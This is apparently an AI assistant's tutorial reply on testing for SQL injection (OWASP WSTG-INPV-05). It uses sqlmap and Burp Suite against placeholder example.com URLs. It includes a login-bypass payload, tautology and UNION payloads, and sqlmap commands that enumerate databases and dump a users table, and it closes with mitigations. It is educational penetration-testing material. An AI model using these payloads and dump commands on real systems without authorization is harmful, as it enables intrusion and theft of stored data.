Perfect 👌 now we move to **WSTG-INPV-05 / SQL Injection** testing with **sqlmap** and **Burp Suite**.

**🧪 Testing for SQL Injection (SQLi)**

**🔎 What is SQLi?**

* SQL Injection happens when **unsanitized user input is directly used in SQL queries**.
* Attackers manipulate queries to **retrieve, modify, or delete data**, bypass authentication, or gain system access.

**⚡ Example of SQL Injection**

**Normal request:**

https://example.com/login?user=admin&pass=123

**Malicious request:**

https://example.com/login?user=admin'--&pass=123

* Query becomes:

SELECT \* FROM users WHERE username='admin'--' AND password='123';

* -- comments out the password check → login bypass.

**🔧 Testing with sqlmap**

1. **Basic GET request test**
2. sqlmap -u "http://example.com/page.php?id=1"
3. **POST request**
4. sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123"
5. **With cookies**
6. sqlmap -u "http://example.com/profile.php?id=2" --cookie="PHPSESSID=xyz123"
7. **Enumerating database**
8. sqlmap -u "http://example.com/page.php?id=1" --dbs
9. **Dumping data**
10. sqlmap -u "http://example.com/page.php?id=1" -D testdb -T users --dump

👉 sqlmap is powerful because it automates detection, fingerprinting DBMS, and exploitation.

**🔧 Testing with Burp Suite**

1. **Intercept Request**
   * Enable Burp Proxy & capture request.
   * Send request to **Repeater**.
2. **Inject SQL Payloads**  
   Examples:
3. ' OR '1'='1
4. admin' --
5. test' UNION SELECT null,null,null--
6. **Observe Responses**
   * Different error messages (e.g., MySQL error, ODBC SQL error)
   * Behavioral changes (auth bypass, extra data returned).
7. **Burp Extensions**
   * Install **SQLiPy** or **SQLMap Burp Plugin** → directly send captured requests from Burp to **sqlmap** for exploitation.

**✅ Mitigation**

* **Parameterized Queries (Prepared Statements)** – never concatenate user input into SQL queries.
* Use **ORMs** or stored procedures safely.
* Principle of least privilege → DB users should have minimal rights.
* Error handling → do not expose raw SQL errors to users.

⚡ **Summary**

* **sqlmap** → automated & powerful, great for exploitation and database enumeration.
* **Burp Suite** → manual, good for discovery, observing responses, and refining injection payloads.
* Best practice = **use Burp for discovery, then sqlmap for exploitation**.

👉 Do you want me to also prepare a **step-by-step SQL Injection attack lab flow** (Burp → sqlmap → DB extraction) that mirrors how it’s done in **real penetration testing reports**?